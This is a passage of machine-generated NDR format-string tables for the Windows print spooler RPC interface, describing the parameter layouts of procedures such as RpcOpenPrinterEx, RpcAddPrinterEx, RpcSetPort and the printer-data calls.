0x0 ),\t/* 0 */\n/* 3914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3916 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 3918 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3920 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3922 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3924 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3926 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcOpenPrinterEx */\n\n/* 3928 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3930 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3934 */\tNdrFcShort( 0x45 ),\t/* 69 */\n/* 3936 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3938 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 3940 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3942 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 3944 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3946 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3948 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 3950 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3952 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3954 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3956 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3958 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pPrinterName */\n\n/* 3960 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3962 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3964 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pHandle */\n\n/* 3966 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 3968 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3970 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Parameter pDatatype */\n\n/* 3972 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3974 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3976 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 3978 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3980 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3982 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter AccessRequired */\n\n/* 3984 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3986 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3988 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pClientInfo */\n\n/* 3990 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3992 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3994 */\tNdrFcShort( 0x930 ),\t/* Type Offset=2352 */\n\n\t/* Return value */\n\n/* 3996 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3998 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4000 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAddPrinterEx */\n\n/* 4002 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4004 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4008 */\tNdrFcShort( 0x46 ),\t/* 70 */\n/* 4010 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4012 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4014 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4016 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4018 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4020 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4022 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4024 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4026 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4028 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4030 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4032 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 4034 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4036 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4038 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterContainer */\n\n/* 4040 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4042 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4044 */\tNdrFcShort( 0x30e ),\t/* Type Offset=782 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 4046 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4048 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4050 */\tNdrFcShort( 0x46 ),\t/* Type Offset=70 */\n\n\t/* Parameter pSecurityContainer */\n\n/* 4052 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4054 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4056 */\tNdrFcShort( 0x322 ),\t/* Type Offset=802 */\n\n\t/* Parameter pClientInfo */\n\n/* 4058 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4060 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4062 */\tNdrFcShort( 0x930 ),\t/* Type Offset=2352 */\n\n\t/* Parameter pHandle */\n\n/* 4064 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 4066 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4068 */\tNdrFcShort( 0x28 ),\t/* Type Offset=40 */\n\n\t/* Return value */\n\n/* 4070 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4072 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4074 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetPort */\n\n/* 4076 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4078 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4082 */\tNdrFcShort( 0x47 ),\t/* 71 */\n/* 4084 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4086 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 4088 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4090 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 4092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4094 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4096 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 4098 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4100 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4102 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4106 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 4108 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4110 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4112 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortName */\n\n/* 4114 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 4116 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4118 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 4120 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4122 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4124 */\tNdrFcShort( 0x800 ),\t/* Type Offset=2048 */\n\n\t/* Return value */\n\n/* 4126 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4128 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4130 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterData */\n\n/* 4132 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4134 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4138 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 4140 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 4142 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4144 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4146 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4148 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 4150 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 4152 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0xa,\t\t/* 10 */\n/* 4154 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4156 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4158 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4160 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4162 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4164 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4166 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4168 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter dwIndex */\n\n/* 4170 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4172 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4174 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pValueName */\n\n/* 4176 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4178 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4180 */\tNdrFcShort( 0x944 ),\t/* Type Offset=2372 */\n\n\t/* Parameter cbValueName */\n\n/* 4182 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4184 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4186 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbValueName */\n\n/* 4188 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4190 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4192 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pType */\n\n/* 4194 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4196 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4198 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 4200 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4202 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4204 */\tNdrFcShort( 0x95e ),\t/* Type Offset=2398 */\n\n\t/* Parameter cbData */\n\n/* 4206 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4208 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4210 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbData */\n\n/* 4212 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4214 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4216 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4218 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4220 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 4222 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeletePrinterData */\n\n/* 4224 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4230 */\tNdrFcShort( 0x49 ),\t/* 73 */\n/* 4232 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4234 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4236 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4238 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4240 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 4242 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4244 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 4246 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4248 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4250 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4256 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4260 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pValueName */\n\n/* 4262 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4264 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4266 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 4268 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4270 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4272 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum74NotUsedOnWire */\n\n/* 4274 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4276 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4280 */\tNdrFcShort( 0x4a ),\t/* 74 */\n/* 4282 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4284 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4286 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4288 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4292 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4294 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4300 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum75NotUsedOnWire */\n\n/* 4304 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4306 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4310 */\tNdrFcShort( 0x4b ),\t/* 75 */\n/* 4312 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4314 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4316 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4318 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4322 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4324 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4328 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4330 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4332 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum76NotUsedOnWire */\n\n/* 4334 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4336 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4340 */\tNdrFcShort( 0x4c ),\t/* 76 */\n/* 4342 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4344 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 4346 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4348 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4352 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 4354 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 4356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcSetPrinterDataEx */\n\n/* 4364 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4366 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4370 */\tNdrFcShort( 0x4d ),\t/* 77 */\n/* 4372 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4374 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4376 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4378 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4380 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 4382 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 4384 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4386 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 4388 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4390 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4396 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4398 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4400 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4402 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4404 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4406 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValueName */\n\n/* 4408 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4410 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4412 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter Type */\n\n/* 4414 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4416 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4418 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 4420 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4422 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4424 */\tNdrFcShort( 0x19a ),\t/* Type Offset=410 */\n\n\t/* Parameter cbData */\n\n/* 4426 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4428 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4434 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDataEx */\n\n/* 4438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4444 */\tNdrFcShort( 0x4e ),\t/* 78 */\n/* 4446 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 4448 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4452 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4454 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4456 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4458 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 4460 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4462 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4468 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4470 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4472 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4474 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4476 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4478 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4480 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValueName */\n\n/* 4482 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4484 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 4486 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pType */\n\n/* 4488 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4490 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 4492 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pData */\n\n/* 4494 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 4496 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 4498 */\tNdrFcShort( 0x19a ),\t/* Type Offset=410 */\n\n\t/* Parameter nSize */\n\n/* 4500 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 4502 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 4504 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 4506 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 4508 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 4510 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 4512 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 4514 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4516 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumPrinterDataEx */\n\n/* 4518 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 4520 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 4524 */\tNdrFcShort( 0x4f ),\t/* 79 */\n/* 4526 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 4528 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 4530 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4532 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 4534 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 4536 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 4538 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 4540 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 4542 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 4544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4546 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 4548 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 4550 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 4552 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 4554 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pKeyName */\n\n/* 4556 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 4558 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 4560 */\tNdrFcShort( 0x59c ),\t/* 